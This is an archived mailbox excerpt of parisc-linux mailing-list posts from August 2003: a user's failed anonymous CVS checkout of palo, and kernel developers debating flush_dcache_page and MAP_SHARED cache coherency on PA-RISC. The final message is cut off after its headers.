>     cvs checkout: warning: failed to open /home/user/.cvspass for reading: No such file or directory
>     /cvs: no such repository
>     user@panda:~/palo$ cvs -d :pserver:guest@parisc-linux.org:/cvs/Development checkout palo
>     cvs checkout: warning: failed to open /home/user/.cvspass for reading: No such file or directory
>     /cvs/Development: no such repository
>     user@panda:~/palo$ cvs -d :pserver:guest@parisc-linux.org:/cvs/ checkout Development/palo
>     cvs checkout: warning: failed to open /home/user/.cvspass for reading: No such file or directory
>     /cvs/: no such repository
>     user@panda:~/palo$ cvs -d :pserver:guest@parisc-linux.org:/cvs checkout Development/palo
>     cvs checkout: warning: failed to open /home/user/.cvspass for reading: No such file or directory
>     /cvs: no such repository
>     user@panda:~/palo$ cvs -d :pserver:guest@parisc-linux.org:/cvs checkout Development/palo
> 
>    I need setup Gentoo Linux by HP9000/811/D310 and have this message:
>      .
>      .
>      .
>      .
>      Information: No console specified on kernel command line. This is
>      normal.PALO will choose the console currently used by firmware
>      (serial).
>      .
>      .
>      .
>      .
>      .
>      If this is the last message you see, you may need to switch your console.
> 
>      I am reed this http://tldp.org/HOWTO/PA-RISC-Linux-Boot-HOWTO/index.html
> -- 
> ? ?????????,mailto:almetoil@tatneft.ru
> 
> ??????? 22 ??????? 2003 ?. ? 17:33:27.
> 

-- 
---------------------------
dann frazier
Hewlett-Packard
Linux and Open Source Lab
dannf@hp.com
(970) 898-0800


From - Thu Nov 08 21:28:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: palo
Date: Fri, 22 Aug 2003 09:16:59 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20030822161659.GE21328@tausq.org>
References: <1245099799.20030822174107@tatneft.ru> <20030822160820.GA18112@ldl.fc.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622704 29831 80.91.229.3 (22 Nov 2014 02:18:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:24 +0000 (UTC)
To: almetoil@tatneft.ru, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 10:13:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D1344883
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 10:13:41 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id CE95ECD3AF; Fri, 22 Aug 2003 09:16:59 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030822160820.GA18112@ldl.fc.hp.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19278

> >   Please help me cvs download palo !
> >   Please sorry my english
> > 
> >   I am use this and read error messges:
> >     user@panda:~/palo$ cvs -d :pserver:guest@cvs.parisc-linux.org:/ checkout palo
> >     cvs checkout: warning: failed to open /home/user/.cvspass for reading: No such file or directory

touch ~/.cvspass
then follow the directions at http://www.parisc-linux.org/faq/cvs.html
for anonymous CVS access.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Problems with kernel mmap (failing tst-mmap-eofsync in glibc on
 parisc)
Date: Fri, 22 Aug 2003 09:14:47 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20030822091447.6ecea6ca.davem__5847.94284445724$1416622705$gmane$org@redhat.com>
References: <1061563239.2090.25.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622705 29835 80.91.229.3 (22 Nov 2014 02:18:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:25 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org, drepper@redhat.com
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 10:22:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42AB348CC
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 10:22:15 -0600 (MDT)
Original-Received: from pizda.ninka.net (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with SMTP id JAA01826;
	Fri, 22 Aug 2003 09:14:47 -0700
In-Reply-To: <1061563239.2090.25.camel@mulgrave>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19279

On 22 Aug 2003 09:40:37 -0500
James Bottomley <James.Bottomley@SteelEye.com> wrote:

> This test essentially opens a file (via open(2)), writes something,
> opens it via a mmaped file object *read only* (via fopen(...,"rm)) reads
> what was writtent, writes some more and reads it via the mmaped file
> object.
> 
> This last read fails to get the data on parisc.  The problem is that our
> CPU cache is virtually indexed, and the page the write is storing the
> data to (in the buffer cache) and the page it is mmapped to have the
> same physical, but different virtual addresses.  We need the write() to
> trigger a cache update via flush_dcache_page to get the virtually
> indexed cache in sync.
> 
> The reason this doesn't happen is because the mapping is not on the
> mmap_shared list that flush_dcache_page() updates.

flush_dcache_page() checks both the shared and non-shared mmap lists,
so if it is on _either_ list it is flushed.  It does not check only
the shared list.

The VM_SHARED change you are proposing is definitely wrong.


From - Thu Nov 08 21:28:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing tst-mmap-eofsync in glibc on parisc)
Date: Fri, 22 Aug 2003 17:34:29 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20030822163429.GH18834__28123.3405614786$1416622705$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <1061563239.2090.25.camel@mulgrave> <20030822091447.6ecea6ca.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622705 29839 80.91.229.3 (22 Nov 2014 02:18:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:25 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
	linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org,
	drepper@redhat.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 10:34:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A9A148D0
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 10:34:32 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19qEru-0007Xw-0R; Fri, 22 Aug 2003 17:34:30 +0100
Content-Disposition: inline
In-Reply-To: <20030822091447.6ecea6ca.davem@redhat.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19280

On Fri, Aug 22, 2003 at 09:14:47AM -0700, David S. Miller wrote:
> On 22 Aug 2003 09:40:37 -0500
> James Bottomley <James.Bottomley@SteelEye.com> wrote:
> > The reason this doesn't happen is because the mapping is not on the
> > mmap_shared list that flush_dcache_page() updates.
> 
> flush_dcache_page() checks both the shared and non-shared mmap lists,
> so if it is on _either_ list it is flushed.  It does not check only
> the shared list.

Gah, that's going to get really inefficient.  I still think we want to
split flush_dcache_page() into two operations -- flush_dcache_user() and
flush_dcache_kernel().  flush_dcache_user() would flush this specific
user mapping back to ram and flush_dcache_kernel() would flush the
kernel mapping.  Obviously we'd still want to have flush_dcache_page()
as there are instances when you want to flush all user mappings and the
kernel mapping back to ram.

> The VM_SHARED change you are proposing is definitely wrong.

Why is it wrong?  Why should whether-or-not a mapping is read-only affect
whether it's mapped shared?  I can't see anything in SuS v3 that suggests
we should do this.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing tst-mmap-eofsync in glibc on parisc)
Date: Fri, 22 Aug 2003 17:42:03 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20030822174203.H12903__41436.3351454542$1416622705$gmane$org@flint.arm.linux.org.uk>
References: <1061563239.2090.25.camel@mulgrave> <20030822091447.6ecea6ca.davem@redhat.com> <20030822163429.GH18834@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622705 29849 80.91.229.3 (22 Nov 2014 02:18:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:25 +0000 (UTC)
Cc: "David S. Miller" <davem@redhat.com>,
	James Bottomley <James.Bottomley@SteelEye.com>,
	linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org,
	drepper@redhat.com
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 10:42:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk [212.18.232.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F13848D4
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 10:42:13 -0600 (MDT)
Original-Received: from flint.arm.linux.org.uk ([2002:d412:e8ba:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with asmtp (TLSv1:DES-CBC3-SHA:168)
	(Exim 4.22)
	id 19qEzE-0003H3-9i; Fri, 22 Aug 2003 17:42:04 +0100
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.22)
	id 19qEzD-0006Xi-BX; Fri, 22 Aug 2003 17:42:03 +0100
Mail-Followup-To: Matthew Wilcox <willy@debian.org>,
	"David S. Miller" <davem@redhat.com>,
	James Bottomley <James.Bottomley@SteelEye.com>,
	linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org,
	drepper@redhat.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030822163429.GH18834@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Fri, Aug 22, 2003 at 05:34:29PM +0100
X-Message-Flag: Your copy of Microsoft Outlook is vulnerable to viruses. See www.mutt.org for more details.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19281

On Fri, Aug 22, 2003 at 05:34:29PM +0100, Matthew Wilcox wrote:
> On Fri, Aug 22, 2003 at 09:14:47AM -0700, David S. Miller wrote:
> > On 22 Aug 2003 09:40:37 -0500
> > James Bottomley <James.Bottomley@SteelEye.com> wrote:
> > > The reason this doesn't happen is because the mapping is not on the
> > > mmap_shared list that flush_dcache_page() updates.
> > 
> > flush_dcache_page() checks both the shared and non-shared mmap lists,
> > so if it is on _either_ list it is flushed.  It does not check only
> > the shared list.

Eww.

> Gah, that's going to get really inefficient.  I still think we want to
> split flush_dcache_page() into two operations -- flush_dcache_user() and
> flush_dcache_kernel().  flush_dcache_user() would flush this specific
> user mapping back to ram and flush_dcache_kernel() would flush the
> kernel mapping.

Where are you proposing calling only _user() and _kernel() from ?

-- 
Russell King (rmk@arm.linux.org.uk)                The developer of ARM Linux
             http://www.arm.linux.org.uk/personal/aboutme.html



From - Thu Nov 08 21:28:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
 tst-mmap-eofsync in glibc on parisc)
Date: Fri, 22 Aug 2003 09:39:00 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20030822093900.4468c012.davem__43318.9329029576$1416622706$gmane$org@redhat.com>
References: <1061563239.2090.25.camel@mulgrave>
	<20030822091447.6ecea6ca.davem@redhat.com>
	<20030822163429.GH18834@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622706 29852 80.91.229.3 (22 Nov 2014 02:18:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:26 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com, linux-kernel@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org, drepper@redhat.com
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 10:46:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07D7648D8
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 10:46:29 -0600 (MDT)
Original-Received: from pizda.ninka.net (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with SMTP id JAA01898;
	Fri, 22 Aug 2003 09:39:00 -0700
In-Reply-To: <20030822163429.GH18834@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19282

On Fri, 22 Aug 2003 17:34:29 +0100
Matthew Wilcox <willy@debian.org> wrote:

> On Fri, Aug 22, 2003 at 09:14:47AM -0700, David S. Miller wrote:
> > On 22 Aug 2003 09:40:37 -0500
> > flush_dcache_page() checks both the shared and non-shared mmap lists,
> > so if it is on _either_ list it is flushed.  It does not check only
> > the shared list.
> 
> Gah, that's going to get really inefficient.  I still think we want to
> split flush_dcache_page() into two operations -- flush_dcache_user() and
> flush_dcache_kernel().  flush_dcache_user() would flush this specific
> user mapping back to ram and flush_dcache_kernel() would flush the
> kernel mapping.  Obviously we'd still want to have flush_dcache_page()
> as there are instances when you want to flush all user mappings and the
> kernel mapping back to ram.

flush_dcache_page() works only on kernel pages.

It is defined to execute when the kernel executes store instructions
into a page.

Therefore splitting it into a "user" part makes absolutely no
sense.

> > The VM_SHARED change you are proposing is definitely wrong.
> 
> Why is it wrong?  Why should whether-or-not a mapping is read-only affect
> whether it's mapped shared?  I can't see anything in SuS v3 that suggests
> we should do this.

MAP_SHARED has no meaning if the mapping isn't writable.


From - Thu Nov 08 21:28:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
 tst-mmap-eofsync in glibc on parisc)
Date: Fri, 22 Aug 2003 09:39:57 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20030822093957.0ad547cd.davem__29563.6355564513$1416622706$gmane$org@redhat.com>
References: <1061563239.2090.25.camel@mulgrave>
	<20030822091447.6ecea6ca.davem@redhat.com>
	<20030822163429.GH18834@parcelfarce.linux.theplanet.co.uk>
	<20030822174203.H12903@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622706 29853 80.91.229.3 (22 Nov 2014 02:18:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:26 +0000 (UTC)
Cc: willy@debian.org, James.Bottomley@SteelEye.com,
	linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org,
	drepper@redhat.com
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 10:47:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2142748D9
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 10:47:36 -0600 (MDT)
Original-Received: from pizda.ninka.net (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with SMTP id JAA01907;
	Fri, 22 Aug 2003 09:39:57 -0700
In-Reply-To: <20030822174203.H12903@flint.arm.linux.org.uk>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19283

On Fri, 22 Aug 2003 17:42:03 +0100
Russell King <rmk@arm.linux.org.uk> wrote:

> > Gah, that's going to get really inefficient.  I still think we want to
> > split flush_dcache_page() into two operations -- flush_dcache_user() and
> > flush_dcache_kernel().  flush_dcache_user() would flush this specific
> > user mapping back to ram and flush_dcache_kernel() would flush the
> > kernel mapping.
> 
> Where are you proposing calling only _user() and _kernel() from ?

The is not acceptable answer.

Purely, flush_dcache_page() is defined to execute when the
kernel stores into a page cache page, and that is it's only
valid definition.

Splitting into a "user" part makes absolutely no sense.


From - Thu Nov 08 21:28:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing tst-mmap-eofsync in glibc on parisc)
Date: Fri, 22 Aug 2003 18:41:03 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20030822174103.GI18834__16261.3098546446$1416622706$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <1061563239.2090.25.camel@mulgrave> <20030822091447.6ecea6ca.davem@redhat.com> <20030822163429.GH18834@parcelfarce.linux.theplanet.co.uk> <20030822093900.4468c012.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622706 29860 80.91.229.3 (22 Nov 2014 02:18:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:26 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, James.Bottomley@SteelEye.com,
	linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org,
	drepper@redhat.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 11:41:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E792648C9
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 11:41:03 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19qFuJ-0003tr-63; Fri, 22 Aug 2003 18:41:03 +0100
Content-Disposition: inline
In-Reply-To: <20030822093900.4468c012.davem@redhat.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19284

On Fri, Aug 22, 2003 at 09:39:00AM -0700, David S. Miller wrote:
> flush_dcache_page() works only on kernel pages.
> 
> It is defined to execute when the kernel executes store instructions
> into a page.
> 
> Therefore splitting it into a "user" part makes absolutely no
> sense.

Uhm.  So what happens when the user has stored into the page and now
the kernel wants to read from it?  There's still data in the cache for
the user mapping that's non-coherent with the kernel mapping.

> > > The VM_SHARED change you are proposing is definitely wrong.
> > 
> > Why is it wrong?  Why should whether-or-not a mapping is read-only affect
> > whether it's mapped shared?  I can't see anything in SuS v3 that suggests
> > we should do this.
> 
> MAP_SHARED has no meaning if the mapping isn't writable.

Sure it does.  It affects whether other writes to that page show up in
the shared read-only mapping.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
 tst-mmap-eofsync in glibc on parisc)
Date: Fri, 22 Aug 2003 10:36:34 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20030822103634.46a15747.davem__8457.29899961061$1416622707$gmane$org@redhat.com>
References: <1061563239.2090.25.camel@mulgrave>
	<20030822091447.6ecea6ca.davem@redhat.com>
	<20030822163429.GH18834@parcelfarce.linux.theplanet.co.uk>
	<20030822093900.4468c012.davem@redhat.com>
	<20030822174103.GI18834@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622707 29863 80.91.229.3 (22 Nov 2014 02:18:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:27 +0000 (UTC)
Cc: willy@debian.org, James.Bottomley@SteelEye.com,
	linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org,
	drepper@redhat.com
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 11:44:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDBEB48DD
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 11:44:06 -0600 (MDT)
